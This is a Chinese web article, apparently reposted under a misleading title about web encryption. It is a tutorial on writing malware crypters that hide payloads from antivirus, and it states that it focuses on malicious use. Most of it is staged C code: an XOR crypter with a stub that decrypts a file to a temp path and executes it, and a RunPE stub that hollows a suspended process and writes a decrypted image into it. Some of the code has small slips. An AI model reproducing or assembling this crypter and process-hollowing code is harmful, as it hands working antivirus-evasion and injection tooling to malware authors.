溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

web開(kāi)發(fā)中加密技術(shù)的示例分析

發(fā)布時(shí)間:2021-12-27 16:11:19 來(lái)源:億速云 閱讀:195 作者:小新 欄目:數(shù)據(jù)安全

這篇文章主要介紹了web開(kāi)發(fā)中加密技術(shù)的示例分析,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

密碼學(xué)的兩個(gè)方面

當(dāng)我們談起對(duì)于密碼學(xué)的印象時(shí),我們經(jīng)常會(huì)想到 "這是一種處理信息的手段,防止信息被泄露出去"。我們大多數(shù)人都把它看成是一種防御機(jī)制,其應(yīng)用的目的在于確保信息的安全,阻止惡意的攻擊。當(dāng)然,我們很清楚這一點(diǎn),因?yàn)樗话l(fā)明出來(lái)的唯一目的就是保護(hù)數(shù)據(jù),然而,正如我們很快就會(huì)看到的那樣,密碼學(xué)的功能已經(jīng)遠(yuǎn)遠(yuǎn)不止這些。

如果我們使用傳統(tǒng)的密碼學(xué)來(lái)進(jìn)行惡意攻擊,即設(shè)計(jì)惡意軟件,利用密碼學(xué)提供的優(yōu)勢(shì)。這些類型的惡意軟件在現(xiàn)代已經(jīng)非常普遍,包括勒索軟件和非對(duì)稱后門(mén)等,它們主要涉及公鑰密碼學(xué)。

反病毒機(jī)制

為了能夠設(shè)計(jì)出繞過(guò)殺毒軟件的方式,我們必須首先要明白殺毒軟件的殺毒方式。我將簡(jiǎn)單介紹一下殺毒軟件檢測(cè)應(yīng)用程序采用的兩種主要方法。

基于簽名的檢測(cè)

顧名思義,基于簽名的檢測(cè)是一種將應(yīng)用程序的簽名與相應(yīng)的已知惡意軟件的數(shù)據(jù)庫(kù)進(jìn)行交叉參考匹配的技術(shù)。這是預(yù)防和遏制之前出現(xiàn)過(guò)的惡意軟件的有效措施。

基于啟發(fā)式檢測(cè)

雖然基于簽名的檢測(cè)可以防止大多數(shù)以前已知的惡意軟件,但它也有缺點(diǎn),因?yàn)閻阂廛浖髡呖梢葬槍?duì)這種方法添加保護(hù)措施,如使用多態(tài)和變形代碼等?;趩l(fā)式的檢測(cè)會(huì)監(jiān)控應(yīng)用程序的行為和特征,并將其與已知的惡意行為進(jìn)行匹配。請(qǐng)注意,只有在應(yīng)用程序正在運(yùn)行的情況下才會(huì)進(jìn)行這種檢測(cè)。

當(dāng)然,殺毒軟件要比這個(gè)高級(jí)很多。由于這已經(jīng)超出了文章討論的范圍,也超出了我的理解范圍,所以這里不會(huì)涉及這些信息。

加密技術(shù)簡(jiǎn)介

加密器是被設(shè)計(jì)用來(lái)保護(hù)文件內(nèi)部信息的軟件,并且在執(zhí)行后,用解密程序提取后能夠完整地提供信息。請(qǐng)注意,雖然加密器可以被用于惡意目的,但它也主要用于混淆數(shù)據(jù),防止對(duì)軟件逆向工程。在本文中,我們將重點(diǎn)討論惡意使用的情況。那么,這是如何工作的呢?讓我們先來(lái)了解密碼器的各部分,看一下它們的作用。

加密器負(fù)責(zé)對(duì)目標(biāo)對(duì)象進(jìn)行加密。

+-------------+      +-----------+      +-------------------+     +--------+
|  Your file  |  ->  |  Crypter  |  =>  |  Encrypted file   |  +  |  Stub  |
+-------------+      +-----------+      +-------------------+     +--------+
+------------------+     +--------+                  +---------------+
|  Encrypted file  |  +  |  Stub  |  = Execution =>  | Original File | 
+------------------+     +--------+                  +---------------+

掃描時(shí)加密器

這些類型的加密器由于能夠加密磁盤(pán)上的數(shù)據(jù)而被稱為掃描時(shí)加密器,殺毒軟件可以對(duì)文件進(jìn)行掃描,例如基于簽名的檢測(cè)。在這一階段,只要應(yīng)用的混淆技術(shù)是足夠強(qiáng)大的,殺毒軟件將永遠(yuǎn)無(wú)法檢測(cè)到任何惡意活動(dòng)。

運(yùn)行時(shí)加密器

這些加密器將加密技術(shù)提升到了一個(gè)新的水平,能夠在內(nèi)存中運(yùn)行時(shí)根據(jù)需要對(duì)數(shù)據(jù)進(jìn)行加密。通過(guò)這樣做,能夠使惡意軟件在殺毒軟件作出反應(yīng)之前加載和執(zhí)行。在這個(gè)階段,一個(gè)應(yīng)用程序可以快速地運(yùn)行它的有效載荷并達(dá)到它的目標(biāo)。但是惡意軟件完全有可能在執(zhí)行階段觸發(fā)殺毒軟件的基于啟發(fā)式的檢測(cè)策略,所以惡意軟件作者應(yīng)該小心。

現(xiàn)在我們已經(jīng)介紹了高層次的內(nèi)容,那么我們就來(lái)看看這兩種類型的實(shí)例。

編寫(xiě)掃描時(shí)間加密器

掃描時(shí)加密器是兩者中比較簡(jiǎn)單的,因?yàn)樗恍枰摂M內(nèi)存和進(jìn)程/線程的知識(shí)。本質(zhì)上,stub會(huì)對(duì)文件進(jìn)行處理,把它放到磁盤(pán)上的某個(gè)地方,然后執(zhí)行它。下面記錄了一個(gè)掃描時(shí)加密器的設(shè)計(jì)。

注意:為了簡(jiǎn)潔和可讀性,內(nèi)容將不包含錯(cuò)誤檢查。

加密器和stub偽代碼
1.檢查是否有命令行參數(shù)
+-> 2. 如果有命令行參數(shù),則作為加密器對(duì)文件進(jìn)行加密處理
|   3. 打開(kāi)目標(biāo)文件
|   4. 讀取文件內(nèi)容
|   5. 對(duì)文件內(nèi)容進(jìn)行加密
|   6. 創(chuàng)建一個(gè)新文件
|   7. 將加密后的文件寫(xiě)入新文件
|   8. 結(jié)束
|
+-> 2. 如果沒(méi)有命令行參數(shù),則作為stub
    3. 打開(kāi)加密文件
    4. 讀取文件內(nèi)容
    5. 解密文件內(nèi)容
    6. 創(chuàng)建一個(gè)臨時(shí)文件
    7. 將解密后的內(nèi)容寫(xiě)入臨時(shí)文件
    8. 執(zhí)行文件
    9. 完成

這個(gè)設(shè)計(jì)方案在同一個(gè)可執(zhí)行文件中同時(shí)實(shí)現(xiàn)了加密器和stub,我們可以這樣做,是因?yàn)檫@兩個(gè)操作非常相似。下面用代碼來(lái)介紹一下設(shè)計(jì)方案。

首先,我們需要定義main和兩個(gè)條件,這兩個(gè)條件定義了是執(zhí)行加密器還是stub。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

由于我們將應(yīng)用程序設(shè)計(jì)成了窗口應(yīng)用程序,我們不能像通?;诳刂婆_(tái)的應(yīng)用程序中那樣檢索 argc 和 argv,但是微軟提供了使用 argc 和 argv的解決方案。如果命令行參數(shù) __argv[1] 存在,應(yīng)用程序?qū)L試對(duì)指定的文件進(jìn)行加密,否則,它將嘗試解密一個(gè)被加密的文件。

接下來(lái)是加密程序,我們需要 __argv[1] 來(lái)指定文件的句柄和它的大小,這樣我們就可以把它的字節(jié)復(fù)制到一個(gè)緩沖區(qū)中進(jìn)行加密。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
        // open file to crypt
        HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        // get file size
        DWORD dwFileSize = GetFileSize(hFile, NULL);
        
        // crypt and get crypted bytes
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
    }

    return EXIT_SUCCESS;
}

Crypt函數(shù)主要是將文件內(nèi)容讀入到一個(gè)緩沖區(qū)中,然后對(duì)其進(jìn)行加密,然后返回一個(gè)指向緩沖區(qū)的指針。

LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
    // allocate buffer for file contents
    LPVOID lpFileBytes = malloc(dwFileSize);
    // read the file into the buffer
    ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);

    // apply XOR encryption
    int i;
    for (i = 0; i < dwFileSize; i++) {
        *((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
    }

    return lpFileBytes;
}

現(xiàn)在我們有了加密的字節(jié),我們需要?jiǎng)?chuàng)建一個(gè)新的文件,然后將這些字節(jié)寫(xiě)入其中。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
        
        ...

        // get crypted file name in current directory
        CHAR szCryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szCryptedFileName);
        strcat(szCryptedFileName, "\\");
        strcat(szCryptedFileName, CRYPTED_FILE);
        // open handle to new crypted file
        HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // write to crypted file
        WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
        CloseHandle(hCryptedFile);
        free(lpFileBytes);
    }

    return EXIT_SUCCESS;
}

加密器部分差不多就是這些了。注意,我們使用了一個(gè)簡(jiǎn)單的XOR來(lái)加密文件的內(nèi)容,如果我們能夠獲得密鑰,這種方案的安全性可能是不夠的。如果我們想更加安全,我們可以使用其他的加密方案,如(x)TEA。我們不需要完整的加密算法,因?yàn)槲覀兊哪康氖菫榱吮苊饣诤灻臋z測(cè),因此這么做完全是矯枉過(guò)正。保持文件小而簡(jiǎn)單最重要。

讓我們繼續(xù)進(jìn)入stub例程。對(duì)于stub程序,我們要檢索當(dāng)前目錄下的加密文件,然后將解密后的內(nèi)容寫(xiě)入一個(gè)臨時(shí)文件中進(jìn)行執(zhí)行。

我們首先要得到當(dāng)前的要處理的文件,然后打開(kāi)文件,得到文件大小。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        // get target encrypted file
        CHAR szEncryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
        strcat(szEncryptedFileName, "\\");
        strcat(szEncryptedFileName, CRYPTED_FILE);

        // get handle to file
        HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        // get file size
        DWORD dwFileSize = GetFileSize(hFile, NULL);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

和加密器例程差不多。接下來(lái),我們要讀取文件內(nèi)容,并得到解密后的字節(jié)。由于XOR操作恢復(fù)了給定的公共位的值,我們可以簡(jiǎn)單地重用Crypt函數(shù)。之后,我們需要?jiǎng)?chuàng)建一個(gè)臨時(shí)文件,并將解密后的字節(jié)寫(xiě)入其中。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        
        ...

        // decrypt and obtain decrypted bytes
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
        CloseHandle(hFile);

        // get file in temporary directory
        CHAR szTempFileName[MAX_PATH];
        GetTempPath(MAX_PATH, szTempFileName);
        strcat(szTempFileName, DECRYPTED_FILE);

        // open handle to temp file
        HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        // write to temporary file
        WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
        // clean up
        CloseHandle(hTempFile);
        free(lpFileBytes);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

最后,我們需要執(zhí)行解密后的應(yīng)用程序。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        
        ...

        // execute file
        ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

請(qǐng)注意,一旦解密后的應(yīng)用程序被寫(xiě)入磁盤(pán),它很有可能被殺毒軟件的基于簽名的檢測(cè)方式檢測(cè)出來(lái),因此這樣有可能捕獲大多數(shù)的惡意軟件。正因?yàn)槿绱?,惡意軟件的作者需要編?xiě)即使他們的應(yīng)用程序在這種情況下仍然能夠執(zhí)行的功能。

掃描時(shí)加密器就到此為止。

編寫(xiě)一個(gè)運(yùn)行時(shí)加密器

對(duì)于運(yùn)行時(shí)加密器,我的文章只涉及stub,因?yàn)樗€包括更復(fù)雜的過(guò)程,所以我們將假設(shè)應(yīng)用程序已經(jīng)被加密。這些加密器使用一種叫做RunPE的流行技術(shù)。它的工作原理是stub先解密應(yīng)用程序的加密字節(jié),然后模擬Windows加載器,將它們推送到暫停進(jìn)程的虛擬內(nèi)存空間中。這個(gè)過(guò)程完成后,stub將把暫停的進(jìn)程恢復(fù)運(yùn)行。

注意:為了簡(jiǎn)潔和可讀性,我將不包含錯(cuò)誤檢查。

stub偽代碼
1. Decrypt application
2. Create suspended process
3. Preserve process's thread context
4. Hollow out process's virtual memory space
5. Allocate virtual memory
6. Write application's header and sections into allocated memory
7. Set modified thread context
8. Resume process
9. Finish

我們可以看到,這需要相當(dāng)多的Windows內(nèi)部知識(shí),包括PE文件結(jié)構(gòu)、Windows內(nèi)存操作和進(jìn)程/線程的知識(shí)。我強(qiáng)烈建議讀者在理解這些知識(shí)的基礎(chǔ)上來(lái)理解下面的材料。

首先,讓我們?cè)趍ain中設(shè)置兩個(gè)例程,一個(gè)用于解密被加密的應(yīng)用程序,另一個(gè)用于將其加載到內(nèi)存中執(zhí)行。

APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    Decrypt();
    RunPE();

    return EXIT_SUCCESS;
}

Decrypt函數(shù)實(shí)現(xiàn)方式完全依賴于用于應(yīng)用程序的加密方式,這里是一個(gè)使用XOR的示例代碼。

VOID Decrypt(VOID) {
    int i;
    for (i = 0; i < sizeof(Shellcode); i++) {
        Shellcode[i] ^= Key[i % sizeof(Key)];
    }
}

現(xiàn)在,應(yīng)用程序已經(jīng)被解密,讓我們來(lái)看看神奇的地方。在這里,我們通過(guò)檢查DOS和PE簽名來(lái)驗(yàn)證該應(yīng)用程序是否是一個(gè)有效的PE文件。

VOID RunPE(VOID) {
    // check valid DOS signature
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
    if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;

    // check valid PE signature
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
    if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}

現(xiàn)在,我們將創(chuàng)建暫停的進(jìn)程。

VOID RunPE(VOID) {
    ...

    // get own full file name
    CHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    // initialize startup and process information
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    // required to set size of si.cb before use
    si.cb = sizeof(si);
    // create suspended process
    CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

}

注意,szFileName可以是任何可執(zhí)行文件的完整路徑,如explorer.exe或iexplore.exe,但在本例中,我們將使用stub的文件。CreateProcess函數(shù)將在暫停狀態(tài)下創(chuàng)建一個(gè)指定文件的子進(jìn)程,這樣我們就可以根據(jù)自己的需要來(lái)修改它的虛擬內(nèi)存內(nèi)容。

VOID RunPE(VOID) {
    ...

    // obtain thread context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.Thread, &ctx);

}

現(xiàn)在我們清空進(jìn)程的虛擬內(nèi)存區(qū)域,這樣我們就可以為應(yīng)用程序分配自己的運(yùn)行空間。為此,我們需要一個(gè)函數(shù),而這個(gè)函數(shù)對(duì)我們來(lái)說(shuō)并不是現(xiàn)成的,因此我們需要一個(gè)函數(shù)指針,指向一個(gè)從ntdll.dll 文件中動(dòng)態(tài)檢索內(nèi)容的函數(shù)。

typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);

VOID RunPE(VOID) {
    ...

    // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll
    fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
    // hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase'
    pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);

    // allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
    LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

}

由于被暫停的進(jìn)程在其虛擬內(nèi)存空間內(nèi)有自己的內(nèi)容,我們需要從內(nèi)存中對(duì)它進(jìn)行解映射,然后分配我們自己的內(nèi)容,這樣我們就有訪問(wèn)權(quán)限來(lái)加載我們的應(yīng)用程序的映像。我們將通過(guò)WriteProcessMemory函數(shù)來(lái)實(shí)現(xiàn)。首先,我們需要像Windows加載器一樣,先寫(xiě)頭文件,然后分別寫(xiě)每個(gè)部分。這一部分需要對(duì)PE文件結(jié)構(gòu)有一個(gè)全面的了解。

VOID RunPE(VOID) {
    ...

    // write header
    WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);

    // write each section
    int i;
    for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
        // calculate and get ith section
        PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
        // write section data
        WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
    }

}

現(xiàn)在一切就緒,我們只需修改上下文的切入點(diǎn)地址,然后恢復(fù)暫停的線程。

VOID RunPE(VOID) {
    ...
 
    // set appropriate address of entry point
    ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
 
    // resume and execute our application
    ResumeThread(pi.hThread);
}

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“web開(kāi)發(fā)中加密技術(shù)的示例分析”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

web
AI